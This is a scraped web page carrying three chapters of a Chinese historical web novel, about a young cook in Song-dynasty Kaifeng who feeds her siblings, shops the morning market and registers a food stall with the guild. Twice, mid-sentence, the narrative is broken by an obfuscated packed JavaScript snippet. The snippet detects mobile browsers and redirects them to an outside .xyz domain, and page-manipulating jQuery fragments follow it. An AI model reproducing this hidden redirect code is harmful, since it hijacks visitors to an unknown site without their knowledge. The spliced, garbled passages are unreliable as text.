“再说这房子，若是项大哥暂时找不到去处，再多住些时日也无妨。”柳金枝笑道。 应天爵本颇为懊恼方才因为项志轩唐突了柳金枝，此时一听，连忙摆手： “这可叫妹子不好做了，我明个儿就替我那兄弟去寻宅子，三天内就能搬走，把地方给你们腾出来。” 柳金枝知晓应天爵是卖傅家面子，但还是取出些许银钱犒劳应天爵。 应天爵欢喜的眉开眼笑，叉手一拜，赶紧寻宅子去了。 柳金枝也是笑的一双桃花眼弯弯，扭过头来对一双弟妹道：“虽然应天爵鲁莽了些，但对我们帮助甚大，你们以后见了他不要太无礼。” 月牙点点头。 柳霄却是皱了下眉头，往锅里看了两眼，见面糊糊被全然吃光，脸色更臭了些。 “我既然打定主意要在汴京卖手艺过活，就得早些支起摊子。”柳金枝脸色认真，“夜市赚的多，可需要更多的食材、桌椅，咱们本钱不够，暂且做不起来。早市赚得是辛苦钱，但胜在成本低。咱们先做早市，赚点体己钱，再转向夜市。” 宋朝八九点才吃朝食，四五点就吃晡食，午时的时候就算再饿，顶多吃些点心，倒不会专门去买吃食。 这就导致了卖朝食的时间有限，赚得也就有限。 也不是没有店家从早卖到晚的，但大部分都是有自己铺面的大饭馆、大酒楼，灶眼里能够一天到晚开着火。 可他们不行。 人工费暂且不说，光是这柴火钱就能把他们的存款耗干净。 夜市就不一样，宋朝没有宵禁，又取消了市、坊隔离，就算在夜市上卖到凌晨都没人管你，赚得自然就比早市多。 可是相应的，夜市卖的时间长，准备的柴火、菜蔬、清水等等东西都要在朝食的基础上翻一番。 没有一定的本钱也盘不下来。 柳金枝只能一步一步来。 “明日一早，咱仨就去找隔壁黄婶子借个独三轮儿，去早市里买些新鲜菜蔬、面粉、小麦以及一应调料。” “午间我再去食饭行挂名、缴钱。等我取了牌子回来，咱们就在院子里做吃食，预备着明早去卖。” “以汴京的物价，只要咱们勤恳努力，日子一定能越过越红火。” 柳金枝对未来还是充满希望的。 月牙眼睛越听越亮，小脸上全是向往。 “但在此之前，阿姐得给你们一人置办几身像样的衣裳。”柳金枝把月牙和柳霄拉到怀里拢着，温柔又细致，“冬日这般冷，小心冻坏了。” 柳霄耳尖微红，别别扭扭地偏开头，道：“要做就给月牙做吧，我不要。” “为什么？”柳金枝歪头笑。 柳霄气道：“你才攒了多少银子？就这样花销。汴京城里物价贵，普通人一天也就赚个百来文，但买斤肉就要花三、四十文，菜蔬瓜果便宜些的也要十几二十文……” 他恨不得掏出个算盘来算账，像个古板的账房先生。 “所以，要是明日不够买菜就惨了，能省则省。再说了，我是男子汉，抗冻，一点儿都不怕冷。” 可他冬日里还穿着单薄春衫，以至脸色苍白，嘴唇也没什么血色，手冷的像块铁。 “赚银子就是用来花的，我偏不省，就要给你买！”柳金枝抱起月牙往外走，笑嘻嘻地说，“我还要一人买两件，月牙你说好不好？” 月牙抿嘴笑，偷偷看柳霄的表情。 柳霄一张脸气成河豚，却又不得不跟上，只是看柳金枝的眼神仿佛在看一个“败家子”。 小小年纪却老气横秋，叫柳金枝和月牙偷偷相视一笑。 走咯，买衣服去。 7. 砂锅辣子水滑面 花了百来文钱给柳霄、月牙一人买了两身成衣，天色也晚了。 虽然宋朝取消了宵禁，百姓大可在入夜后尽情逛夜市，但奈何柳金枝囊中羞涩。 毕竟粗略一算，即使是加上在客船上挣得银子，她手里也才一千贯左右。 可要省着点花。 于是三人默契地穿过热闹夜市回到采莲胡同，闭口不提逛街一事。 而柳家旧宅里，项志轩因应天爵嘱咐照看着些柳金枝，便遣身边小厮勉强收拾了一间侧室出来，又将厨房的备用钥匙给了柳金枝，叫她随意用着。 这种好事柳金枝自然多加拜谢不提。 于是当夜就拣好床铺，叫柳霄一个人睡一间，月牙与她同寝。 月牙才八岁，却在一岁左右就殁了双亲，柳霄只能勉强养活二人，一些良好的生活习惯却是顾不得。 但既然柳金枝回来了，就得细心教养。 是夜明月高照，她唤来月牙，一大一小披着衣服，齐齐蹲在门槛上。 “牙齿不保护的话会坏的很快，到老了就吃不下硬东西，所以咱们要早晚刷牙。喏，这个是我在秦淮买的刷牙子，你试试。” 她递过去一根。 古人比现代人还注意牙齿健康，从柳枝刷牙到发明牙粉、牙香、牙刷子和牙香筹，刷牙工具一直在进步。 达官贵人们更是可以用玉，或是象牙做成的牙刷子。使用上好药材、名贵香料做成的牙香。 但谁叫她家是平民百姓，所以牙刷子是用竹木做的，牙香也只是普通的盐巴粉。 月牙还没怎么刷过牙，动作很生疏。 她就给月牙做示范，让月牙学着用牙刷子沾些盐巴粉塞进自己的小嘴里，左边费劲扒拉两下，右边用力扒拉两下。 结果一不小心吃了点盐巴进去，又苦又咸的味道害得月牙一张小脸都皱成一团，直吐舌头，含糊不清地说：“呸呸呸，阿姐，好苦啊。” 她觉得月牙可爱，嘴里叼着牙刷子，不厚道地瞧着月牙笑道：“盐巴哪儿有不苦的，小心些，别再咽下去了。” 月牙点头如捣蒜，然后专心专意跟自己嘴里的牙刷子做斗争。 等到刷完牙，柳金枝端来两杯井水。 姐妹俩同时喝一口，仰起头：“咕噜咕噜。”又使劲儿一吐，“噗——！” 涮牙水吐到外头雪堆儿里，明月清辉下，水迹奇形怪状。 月牙忍不住咧嘴一笑，指着自己吐的那片说：“阿姐你瞧，像兔子。” 柳金枝问：“那阿姐的像什么？” “像大雁！” 柳金枝哈哈大笑，抱着月牙站起来：“走，回屋睡觉去，阿姐给你耍手影戏。” “好！” 只是欢声笑语不绝时，隔壁柳霄倒是翻来覆去睡不着。 他爬起来对着墙贴耳细听了一会儿，垂着脑袋不知道在想什么，尔后又气呼呼往床上一躺，干脆扯过被子蒙住头，一动不动了。 冬日的天亮得晚。 柳金枝醒来时，窗户外头还是一片黑，采莲胡同的所有人家都沉浸在夜色里，只朦胧里隐隐约约透露出屋脊的边缘，和墙边只剩枯枝的老树。 小心翼翼离开温暖的被窝下床，月牙还在熟睡，饿得凹进去的小脸被细软的长发盖着，显出一派天真。 柳霄和月牙都饿的狠了，得给他们好生补补。 柳金枝心里想着，蹑手蹑脚走到厨房，从麻袋里摸出最后一点儿面粉。 在筛粉技术还不怎么成熟的古代，要得一袋精细白面要花费不少功夫，所以白面价贵，还不易得。 但她回程时想着给柳霄、月牙带见面礼，就忍痛拿出银子去买了一小袋。上次吃拨鱼儿耗了一半，现下还有一半，她打算都给柳霄和月牙吃，就做份儿砂锅辣子水滑面。 冬天面不好发，等待的时间更长，但好在她起得早，有充足的时间准备。 于是从壁橱下层取出襻膊，绑起袖子倒水揉面。 这砂锅辣子水滑面，其实就是后世的辣子烩面，做起来并不算复杂，但也很难做的好吃。 因为烩面需要水、面比例调和均匀，再大力去揉它，好好醒出来，等面性发的十分满时，逐块揪拽，非得每块都揪拽得又宽又薄之后下到开水里煮熟，才能让面条劲道又好吃。 光是这一点就要难倒不少膳工了，而烩面的虀头又是一道难关。 需准备麻腻、杏仁儿腻、咸笋干、酱瓜、姜、腌韭和黄瓜丝等配料，有条件的还可以加点煎肉调香，味道更妙。 她没有这个条件，自然也不用烦恼该用什么肉炒才更入味，她思虑的是如何用冬日里头的菜蔬，去代替浇头配料里的一味黄瓜丝。 而至于麻腻、杏仁儿腻等酱，并咸笋干、酱瓜、腌韭一类小菜，厨房里已经备下了，应该都是项志轩叫小厮从外面店铺里买的。 毕竟宋朝时，各类麻酱、酱油、料酒等调味用品早已遍布大街小巷，甚至现代人拌饭离不开的豆瓣酱，在宋朝都已风靡一时。若有需要，直接去买，十来文就能得到一大罐，实在不用自己苦哈哈在家里做。 而卖小菜的更是随处可见，许多小贩为了增加收入，都会在家中做了小菜，第二日再去各大酒楼零售，不同于现代大饭店对于此行为严加禁止，北宋时期各大酒楼、饭店都是允许这种行为的，时称“外来托卖”。 所以现下就只有冬日应季蔬菜需要她预备。 便赶紧用清水将雪白的面粉搅和成糊糊一团，纤细修长的指尖攥住面团使足了劲儿往铁盆里揉，如此反复多次，直揉的人肩酸背痛才算完。 用个湿纱布罩了放在一边，接下来只等面性发满就好了。 此时天色终于有了些朦朦胧胧的光亮，柳金枝掀开厨房的暖帘走到院儿里去巡视菜地。 生活在种花家的每个国民都会点亮的一层天赋大概就是种菜。 以前柳家虽然以剥莲子为生，但柳父还是在院子里开垦了一小块菜地。 春种荠菜、夏种落苏、秋种白菜、冬种京笋。 一年四季家中都菜蔬满园。 自柳父、柳母双双殁了以后，这个菜园子就没人再打理，一直荒废着，任凭春风吹来谁家菜籽，野蔬野菜自由生根，野蛮生长。 而如今柳金枝去园子里一看，银色冬雪覆盖满黑色泥土，雪泥中埋着一截青葱碧绿的菜蔬。 用小锄头扒开一看，方知是京笋。 所谓京笋，便是莴苣，只是北宋人爱用此俗称，因为莴苣很得北宋人的心，就像现代人也爱在莴苣身上开发出各种吃法。 简单点的就将莴苣切丝了做浇头，伴着新鲜麻辣鱼头吃，味道辛辣爽口。复杂点的，就把莴苣切丝了以后淋上小石墨香油，浇上豆瓣酱，鲜辣子，并上大粒盐二十粒，拌匀后入小瓮缸，用纸、竹叶依次盖上，再用泥严封。 要不得三两日，就能起坛开封，享用清爽脆口的腌莴苣丝，最好能搭一碗半稀不稠的白粥，呼啦呼啦地喝下去，那可真是粗茶淡饭却成人间美味。 柳金枝可没这么多闲工夫，只从简单做法来。 于是拔了两根莴苣回厨房，削厚皮、切细丝，简单洗净过后，一气用小笊篱装起，伸入滚水里头七上八下烫了个通心熟。 对着火光一看，莴苣丝中心略实，外心通透，半软不硬的模样正是最脆口时。 赶忙趁此收手，就着笊篱倒入小碗中待用。 转过头来，面也醒的差不多了，柳金枝净了下手，就开始揪拽面块。 当了膳工的人，就是看起来再娇弱的娘子，手上的劲儿也不小。 所以柳金枝拉扯出来的面条又宽又薄，受力正均匀，往开水锅里一甩，很快就被烫成一条条白片儿，顺着滚水泡沉沉浮浮。 如炮制法将整个面团揪拽完，捞上来正好三大碗。 然后起锅烧油，将小厨房里就有的小葱、姜片、蒜末、八角、桂皮等调料一并扔入锅中反复煸炒出味儿，再倒入煮过的莴笋细丝，炒不过两个回合，就用大勺装起，一一分入两个面碗里。 随后又辅以酱油、陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458081|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醋、粒儿盐拌匀，再淋勺麻腻与杏仁儿腻，又用筷子拣出些好的咸笋干、腌韭和酱瓜铺在最上头，直要冒出碗尖儿。 就此，砂锅辣子水滑面终于大功告成。 柳金枝留了两碗给柳霄和月牙，还有一碗送去项志轩房外。 毕竟用了人家的腻子和酱菜，总得有点表示。 叩门是那小厮应的，从他口中柳金枝得知原来项志轩要早起温书，已经简单用过热粥，现下温书累了，又回榻上小憩去了，顺便暖腹，所以柳金枝这碗只能留至用朝食时再吃。 柳金枝表示理解。 现代人讲究“早吃好，午吃饱，晚吃少”，宋人却恰恰相反，讲究“早吃少，午不吃，晚吃饱”。 特别是在宋朝人普遍都只吃两餐的情况下，偶尔多吃的一餐就会被认为是“多余消费的”，会尽量让这餐在肚子里留存的久一点，以享受饱腹感。 诗人陆游就喜欢早上起来之后先喝碗粥，再睡个回笼觉，并美名其曰：“粥后就枕，则粥在腹中，暖而宜睡，天下第一乐也。”，引得后世众人效仿。 回到偏室，天光云影渐入房门。 柳霄已经起身，将自己收拾整齐来管月牙。 睡了一夜，月牙的小发髻松松垮垮耷拉在一边，此时正睡眼惺忪地靠在柳霄身上，任凭柳霄替她拆散了发绳，重新编发。 显然柳霄手艺不好，但胜在认真，小脸绷得紧紧的，生怕扯痛了月牙。 柳金枝一笑，走过去拍拍柳霄：“放着我来吧。” 柳霄点点头，放开手走开。 月牙浑然不觉，就这么自然而然地又靠在了柳金枝身上。 柳金枝很喜爱这个小妹，用心给她编了个秦淮时兴的双丫发髻，又偷偷拿了面铜镜来，才轻轻拍月牙的肩：“月牙，醒醒，莫要睡了。” 她脸上带着笑，预备着小丫头等会儿瞧见了自己的新发型惊喜一场。 只是没料到月牙睡梦初醒般揉了揉眼睛，却下意识抽了抽鼻子，“好香啊。”她咽了口口水，彻底睁开眼，“哥，你拿了什么东西回来？” 但柳霄没有回答，直到月牙自己走到厨房里去，才看见柳霄站在饭桌前，一动不动地盯着面前这两碗热腾腾的烩面。 朦胧的睡意顿时消失，月牙懵懵地说：“哥哥，我是在做梦吗？” 柳霄慢慢摇头。 “我第一次在看见朝食……” 月牙不自觉地走上前，用手抓了一根酱瓜塞进嘴里，咔嚓咔嚓几下吃完，两眼亮的惊人，又忍不住伸手去抓其他配料，还没忘记招呼柳霄： “哥，你快来尝尝，好吃！” 柳霄没动作，只是扭头看柳金枝走过来递给月牙一双竹木箸。 “用箸吃吧，小心烫着手。”柳金枝笑道。 月牙虽然聪慧，但到底是年纪小，又狠饿过，当即连忙点头，接过箸埋头就吃。 倒是柳霄哑声问：“你准备了多久？” “嗐，一个时辰左右，我习惯早起了。”柳金枝笑眯眯的。 她在当学徒的时候天天早起晚归练基本功，每天只睡两三个时辰，有时候通宵熬夜也有可能。 好在她天生高能量，就是睡不饱也不困。 可是柳霄看了眼天色，便知柳金枝大概卯时左右就起了，不由紧紧抿住唇瓣。 又看桌上只有两碗面，他当即又从壁橱里取出一只碗，也不说话，只哐哐几下把自己碗里的面，扒了一大半出来递给柳金枝。 柳金枝摇头：“只有这些面了，以后我们可能很长一段时间吃不到这些好东西……” 柳霄却打断她，倔强又坚持：“你吃！” 柳金枝看着碗里的面，又看看柳霄微微泛红的眼眶，不由失笑，还是接过碗来。 柳霄又将碗中一些好吃配菜都挑给月牙，这才拿起箸大口大口吃起来。 他的吃相也很狼狈，狼吞虎咽一般，显然他也很久没吃到过这么好吃的东西了。 柳金枝微叹，摸摸柳霄和月牙的小脑袋。 8. 早市采买 用完一顿晡食，月牙吃的小肚子圆溜溜的，直打嗝儿。 柳霄擦擦嘴巴，主动去隔壁黄婶子家借车，又将月牙暂时托付给黄婶子照顾，柳霄与柳金枝才推着独三轮儿出门，直往御街去了。 御街从宣德门起直通朱雀门，两边遍布许多茶楼、酒肆、饭馆，以及各类瓦子，是整个汴京城最繁华热闹的街道。 柳金枝才带着柳霄由曹门大街走入御街，繁华热闹的市井气息霎时扑面而来。 街道两旁店肆林立，街宽路长，满街都是各色店铺，小吃琳琅满目，烟火香气浓郁。行人如织，人声鼎沸，热闹喧哗。 柳霄将车栓草绳挂在自己脖子上，气喘吁吁道：“你要买什么？” 柳金枝环顾一周，笑道：“不着急，我们先去逛逛早市。”又将一只普通茄袋交给柳霄，“这袋子里可是我们的全副身家，喏，交与你保管了。” 柳霄霎时瞪大眼睛，仿佛手上接了个秤砣。眼睛左瞟，右瞟，慌忙放进里兜里藏好，才敢抬起头看柳金枝。 “今日我专管挑菜、买菜与人杀价，怕分不出手来算账管钱。所以我将这重担交与你，让你专管银钱采买一切流水。” 柳金枝对柳霄眨眨眼。 “我们底钱不多，你得仔细算账，叫每一分每一厘都花在刀刃儿上，你能做好吗？” 柳霄小心翼翼地捂着兜，颇为紧张道：“嗯！” 柳金枝一笑：“那走吧。” 就带着柳霄、月牙往御街更深处走去。 遇到的第一间人满为患的店铺便是肉铺，唤作“郑氏肉铺”。 手持剔骨刀的肥胖屠夫正站在剁肉台后，听从客人们的命令从吊钩上取下一块块猪肉任人相看。 对比于动辄就八九十文一斤的羊肉、马肉，猪肉算是最物美价廉的肉类，只要三十文左右就可以买到一斤，其余猪下水之类的东西会更加便宜。 所以宋朝时大部分百姓都负担得起猪肉，导致猪肉生意一直很走俏。 又因为汴京城内人口众多，为了供应这么多张嘴巴的猪肉开销，肉贩子每天都会赶一大群猪近汴京。正从南熏门走，赶到屠宰场宰杀。 “您要的猪肋骨一斤，收您三十五文钱，诶，好嘞！您慢走不送！” “哎哟，王娘子，您可别拿手戳肉啦，我这猪肉可是新鲜的，坏了其他客人可就不买啦。” …… 柳金枝挤进剁肉台跟前，看见那屠夫虽然长得五大三粗，一副凶相，但说话非常和气，见了她这个生面孔连忙招呼： “娘子随意看看，想要哪块肉只管告诉我，我替你切来。” 柳霄却在身后紧张算账，算毕，不由把柳金枝衣袖一扯，拉着人就想走。 这肉可买不起！ 柳金枝倒是老神在在地站在原地，挂着一脸笑，问：“郑屠户，敢问我拣块斤把重的肥肉要多少文？” “肥肉自然贵些，三十五文一斤。” “那瘦肉呢？” “瘦肉价贱些，二十八文一斤。” 古代人为了饱腹以及营养着想专爱吃肥肉，越肥越香，瘦肉反而因为缺少脂肪而没那么吃香。 郑屠户笑道：“娘子看上哪块肥肉，我替娘子拣来切了。” “我不要肥肉，劳烦您给我两斤一分肥九分瘦的前腿肉。”柳金枝笑道。 郑屠户略微讶异，但还是听命切来，用油纸装裹起来递与柳金枝。 柳金枝掂了掂分量，自觉确实有两斤，郑屠户倒没有缺斤少两，便暗自将这郑氏肉铺的位置记在心里，让柳霄去付账。 柳霄给了银子却又心疼的紧，拎着肉说：“大家都不爱吃瘦肉，买这个会不会太亏了。” “没有不好做的菜，只有做不好的厨子。”柳金枝挑眉，“你放心，要做什么菜我心里已有数。” 又往下一处铺子走去。 这回立在二人面前的六七个并排扎堆的食摊，热粥、香糕、馒头、包子等齐全，甚至还有各种熟食小吃。 这些食摊在此处怕是已经摆了许久，摊前围满了老食客。 食贩们根据食客们的挑拣，熟练揭开蒸笼，香白雾气滚滚，露出屉子里满满当当小巧可爱的精致面点，干净利落用油皮纸包起来几个，再用白线系紧递过去，便能从食客手中赚得五六个铜板的小钱儿。 柳金枝笑吟吟走过去问：“小哥，你这儿可有单子牌面？” “哟，娘子，咱们这小本买卖，熟食种类不过十余种，哪儿有什么单子牌面？”食贩满脸笑，“您要是想知道咱摊上卖什么，我给您唱来就是，您瞧。” 一面揭开蒸笼。 “咱家胡饼有猪胰胡饼、白肉胡饼、茸割肉胡饼。” “糕点有糍糕、黄糕麋、麦糕。” “还有煎白肠、血脏羹、羊血、粉羹、灌肺、蒸饼。” “冬日里，咱还特卖五味肉粥、七宝素粥。” “就是不知娘子您要些什么？” 柳金枝还没吃朝食，正好有些饿了，便就着蒸笼挑拣了一样麦糕、一样七宝素粥。 这两样足够让人饱腹，合计一算，也不过十五文。 如此看来，汴京城的朝食种类繁多，却又颇为物美价廉。而且生意火爆的大多都是半固定摊位，在这御街上存在很多年了。 若她要来抢生意，要么价钱更便宜，要么种类更多。 大大地喝下一口粥，品尝着嘴里这七宝素粥甜滋滋的味道，柳金枝心下有了盘算，回眸对柳霄道：“再去其他食摊上瞧瞧。” 二人再度启程。 这回柳金枝没买东西，只问价。 待她将市面上常见的朝食种类、价钱全都摸了个清楚后，柳霄也逐渐明白了柳金枝的意思，便默默掏出一支笔和账本。一边回忆着方才听到的种种，一边奋笔疾书，代柳金枝把这些价钱全都记下来。 小半个时辰后，柳金枝抬头看看天色，擦去额上热汗，笑道：“好了，时辰也差不多了，现下去买菜的话，应该还有一半的新鲜货可选。” 所以原来从一出门，柳金枝就打算好先做市场调研。 再加上此前她拿菜刀拦住应天爵，到后来又在说笑间和应天爵、项志轩打成一片。 这般行事风格稳妥到不像十六七岁的女儿家。 柳霄不由抿抿唇，道：“你比起以前变的不一样了。” 柳金枝一愣，问：“哪里不一样了？” “以前……我总觉得你会傻乎乎的被人骗。但现在，好像没人能再骗到你一样。”柳霄将纸笔收起来，“甚至让人不由想要相信你。” “人长大了，自然不会还像孩童一般天真。”柳金枝笑道，“那现下的我，有没有值得你来信任？” 柳霄低头不做声。 柳金枝以为她这个弟弟还是心结难消，只好拍拍柳霄的肩，转身欲走。 柳霄却忽然拉住她的衣袖，眉眼有些犹豫和纠结，轻声说：“若你以后不再抛下我和月牙，那我就再信你一次。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458082|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “家”之一字在柳霄心里占据着极重的份量，任何人，任何事，都不能破坏他这个家。 “我必然不会抛弃你们。”柳金枝拉住柳霄的手，重重握紧，“我们永远都是一家人。” 柳霄望着柳金枝清丽的眉眼，感受着手上源源不断传来的温度，往日一直阴郁的脸上终于出现了一丝笑容，犹如阳光破过云层，冰雪消融。 “嗯，我们永远都是一家人，谁也不能拆散……” * 菜市口离贩卖晡食的食摊不远，二人推着独轮车，步行不过一炷香的时间，就到了地方。 这里对比起食贩们还支了个摊子做生意，菜农们的摊子可就简陋许多，只有两个筐子和一条扁担。而菜农自个儿就端着个小杌子坐在一边，时不时给菜蔬们洒点水保持新鲜品相，殷勤等候路过娘子们过来问价。 柳金枝打眼一扫，便知道自己来的还不算晚，有的菜农住的远，要想赶来汴京城里做生意得赶一个时辰的路。 所以现下有些菜农刚到，他们筐子里的菜大多都是刚从地里采摘出来，菜叶水嫩嫩的，菜尖儿还顶着一捧白雪，一看就知道是新鲜的。 柳金枝一一看过去，发现菜蔬种类不算太多，大都是冬天能见到的白菜、荠菜、冬笋、土豆、芋头、黑木耳一类。 菜蔬少，能做的熟食品类就不多，颇受限制。 柳金枝不由怀念了一把现代的蔬菜大棚。 要是古代也有温室大棚，她能做出品类更繁复的熟食，也更有把握占领市场。 “阿姐，你打算买什么？”柳霄问。 “膳房里要用到的物件都要一一采买。”柳金枝从袖口扯出一根襻膊将宽大袖摆挽起，“今日你我要受累一番了。” 柳霄点头，同样撸起衣袖。 接下来，二人先光顾了菜农摊子，购入白菜二十斤，荠菜十斤，冬笋十斤，黑木耳十斤，剩下还有芋头、萝卜、菜苔、野山蕈等各五斤左右。 好在柳家旧宅底下有一口地窖，又正值冬季，这些东西暂时存放在地窖里，短时间内也不会坏。 尔后，又去酱园购入面酱、酱油、黄酒、料酒、老抽、生抽、豆瓣酱等等各两翁。 正好酱园旁边就是卖调料的杂货铺子，于是又购入八角、砂仁、生姜、丁香、薄荷以及大小茴香等等，不拘花费，各种备上一麻袋。 至于锅碗瓢盆以及炉子、炭火，就去御街尽头的团行购入。 所谓团行，就是汴京城内买卖锅碗瓢盆类商家们，共同结成的一个商行。 这家铺子里买了铁锅，隔壁就能买到蒸笼。 柳金枝买的东西多，包括刮板、剪子、竹笊篱等等她都要，于是和几个老板说和讲价，硬生生磨的他们便宜了二十来文。 但省下来的钱与花出去的钱相比，不过是小巫见大巫。 柳霄在心里打了一通算盘，满眼忧虑，道：“阿姐，这些物什总共花费八百二十七文，我们手上还剩一百六十文。按照汴京城一人一天五十文的伙食算，咱们最迟到明日晚间就得饿肚子了。” 看着这独轮车上满满当当的货物，柳金枝她抬手为柳霄擦去额上热汗，道：“万事开头苦，咱们暂且挨一挨，这般穷苦日子不会太久的。” 柳霄点头，道：“实在不行，我去替人算账写字，也能赚十来文。” 柳金枝失笑：“阿姐才不愿你做这种苦活儿，把眼睛熬坏。走，咱现下就归家，叫应天爵带我去食饭行挂名、缴钱！” 9. 挂名、缴钱 天光云影徘徊间，时辰已到正午。 暖暖的冬阳落下一片光辉，将落在树枝间隙的皑皑白雪映照得发亮。 树枝下，应天爵头戴东坡帽，着一身交叠领褙子，下穿百褶裙，外套件宽大的灰蓝色外袍，负手在树杈下来回踱步。 在旁边还停着一辆颇为陌生的车马，外头守着一个脸生的车夫，明显是有外人拜访。 柳金枝一时疑心是不是她那位黑心舅舅来了，但柳霄见了，解释道：“那是项志轩的同窗好友，我和月牙有时在黄婶子家小住，曾经见过他。” “既然是外人，咱们不必管他，你先叫隔壁婶子们帮帮忙，把这些个东西搬进家里去，等我回来，再一发谢过几位婶子。”柳金枝道。 柳霄点头，独自登门找婶子们去了。 留下柳金枝过去与应天爵见礼，笑道：“叫应大哥苦等，倒叫奴心里过意不去。今晚必好好置办一桌酒席，谢过应大哥。” “柳娘子何必客气，既然是杏安小哥叫你来找我，我必然尽心竭力。” 应天爵叉手一拜。 “再说，如果娘子当真要谢，置办酒席不如娘子亲手做几道菜。娘子的手艺堪比樊楼膳工，我上次吃了一回，往后再吃其他，总好像嘴里没滋没味儿一般。” 柳金枝眉眼带笑，连连谦虚：“应大哥谬赞。” 二人一面说话，一面往车马行租赁了一辆驴车，摇摇晃晃地往食饭行去。 食饭行坐落于饭馆食摊盛行之处，即是马行街附近，周围有杨楼、樊楼、庄楼，皆是当时有名有姓的大酒楼。 柳金枝与应天爵坐驴车，从新曹门起始，途径牛行街、南斜街进入新曹门，再北上沿着马行街一路走到头，远远瞧见樊楼的大红拒马杈子摆在街边，车夫就吁停了驴车。 柳金枝主动上前结账，倒叫应天爵脸色更好几分，笑呵呵为柳金枝引路。 “来，娘子里面走，小心路滑。” 二人一前一后绕过积雪小巷，进入大行货巷，巷内有人扫雪，堆积在两边贴墙上靠。 柳金枝小心提裙避开雪堆，跟着应天爵行到中间停下。 往左壁一瞧，正有个朱红双开小门，两边门板上还钉着铜环把手，磨损颇为严重，看样子此处常有人往来。 应天爵颇为熟稔地扣住铜环敲门，抬高声量道：“庄大爹可在？我是应天爵，今日有事求见，劳烦开开门。” 想来这位庄大爹与应天爵确实相熟，叩门不过半柱香时间，门后就传来拉销栓的声音，紧接着门被打开，露出一张白白净净的小童脸。 小童对着应天爵叉手一拜，道：“我家大爹不在家，往桑西瓦子见要客去了。但大爹走时吩咐，若是您登门要带人挂名、缴钱，就叫我带人去办，和大爹在时一样。” 应天爵笑道：“你大爹做事倒周全。” 便将柳金枝引出来与小童相见。 “这位是柳娘子，要在食饭行挂个名，将来好一早一晚的做个食饭生意，你带她进去罢。” 柳金枝与小童福身。 小童将门打开些，让俩人都进。 门内是一座一进一出的宅院，院门口是青石砖铺就的，正有小厮扫地，另有小厮持了短棍在打竹林头上雪。 小童快速进了门，取出一张契约，一方玉印，一盒朱砂，并墨、砚、笔，一通摆放在堂内的一张长方案上。 待到研磨完毕，执笔时问柳金枝：“娘子可看好铺位没有？” “奴想在御街上谋个位子。”柳金枝低垂下眉眼。 “御街？”小童皱起眉，“倒是不好办，这街道人多，是做生意的好去处，人人都想去分一杯羹，柳娘子怕是……” “诶，画童，算是给我个面子。” 应天爵拉住画童的袖子。 “我记得御街靠太常寺那边有一家姓武的，专卖炊饼，因着家中出事，要回乡奔丧，这几日就要买船南下，怕是一时半会回不了汴京。他那位子闲着也是闲着，何不与了柳娘子？” 画童还是皱眉头。 柳金枝福至心灵，取了几十个铜钱塞进他手里，温声软语：“还请小哥照应一二。” 掂了掂分量，显然这点银钱不太符合他的预期。 但应天爵在旁边看着，催他快些盖章，画童只好铜钱拢进袖子里，松口道： “罢了，瞧在应大哥与这位柳娘子诚心，太常寺那位子就与这位娘子了。来，这契约一式两份，还请娘子签字画押。” 柳金枝松一口气，连忙接过笔签上大名。 画童又盖上印章，抽了其中一张交与柳金枝，道： “这契约是要移交到官府上报姓名的，但凡出了事，别说是官府要缉拿娘子，我们食饭行也不会姑息。所以希望娘子莫要偷工减料，必得地道、用心。” 柳金枝小心接过这张薄薄契约，福身应答：“奴定然谨记。” “如此，我们食饭行便挑选一位行老与娘子结对，凡有饮食上不懂的。如哪方菜钱贵贱？哪方人流多少？哪方人家要做四司六局？哪方物价涨跌？都可以请教行老。” 画童拿出一本名册，翻开看了片刻。 “蔡老正得闲，便与娘子安排吧。” 尔后便挥毫泼墨，写下蔡老地址交与柳金枝。 应天爵笑道：“蔡老是食饭行里的老人了，在这汴京城也做了三十二年的食饭生意，出去问一句蔡氏饭馆，就没有不知道的。人脉广，经验足。能得他指点，娘子好福气。” 柳金枝道：“今日正巧得空，不如应大哥引奴到蔡氏饭馆拜见一下蔡老。” “这是自然，说起来，蔡老的饭馆与太常寺不过一街之隔，到时你俩还能做个邻居呢。” 应天爵一边笑着，一边在前头引路。 好在此前那辆驴车还没走，于是又坐驴车南下，往御街宣德门前的太常寺去了。 蔡氏饭馆不大，门口也没什么彩绸拒马杈子，只一条白旗招子，上书“蔡氏饭馆”四个大字。 虽然如此，但饭馆内人来人往，热闹非凡，足可见其受欢迎的程度。 跑堂小二也格外热情，但见柳金枝和应天爵是要往蔡氏饭馆的方向来，隔着老远就高声欢迎： “哟，二位客官里面儿请！” 看着小二满脸堆笑的模样，柳金枝也不由莞尔。 一般来说，饭馆里最重要的是膳工，但在宋朝时期，跑堂小二也是不逊色于膳工的“镇馆之宝”。 因为宋朝饭馆里虽然有单子牌面，但每日菜色常有变化，所以当天有什么菜，没什么菜，主推什么特色菜，都需要跑堂小二记住。 这就要求跑堂小二拥有极强的记忆力。 除此之外，跑堂小二也得有眼力见。 遇见衣着稍微寒酸的客人，就报价位低一些的菜。遇见那类不差钱儿的，自然就得报些佛跳墙、熊掌、鱼翅等等，否则也辱没了人家的身份。 值得一提的是，宋朝的跑堂小二还得有一把好嗓子。毕竟宋朝的报菜名不是单单用嘴说，而是“唱”。 孟元老的《东京梦华录》里就有写到类似场景—— “行菜得之，近局次立，从头唱念，报与局内。” 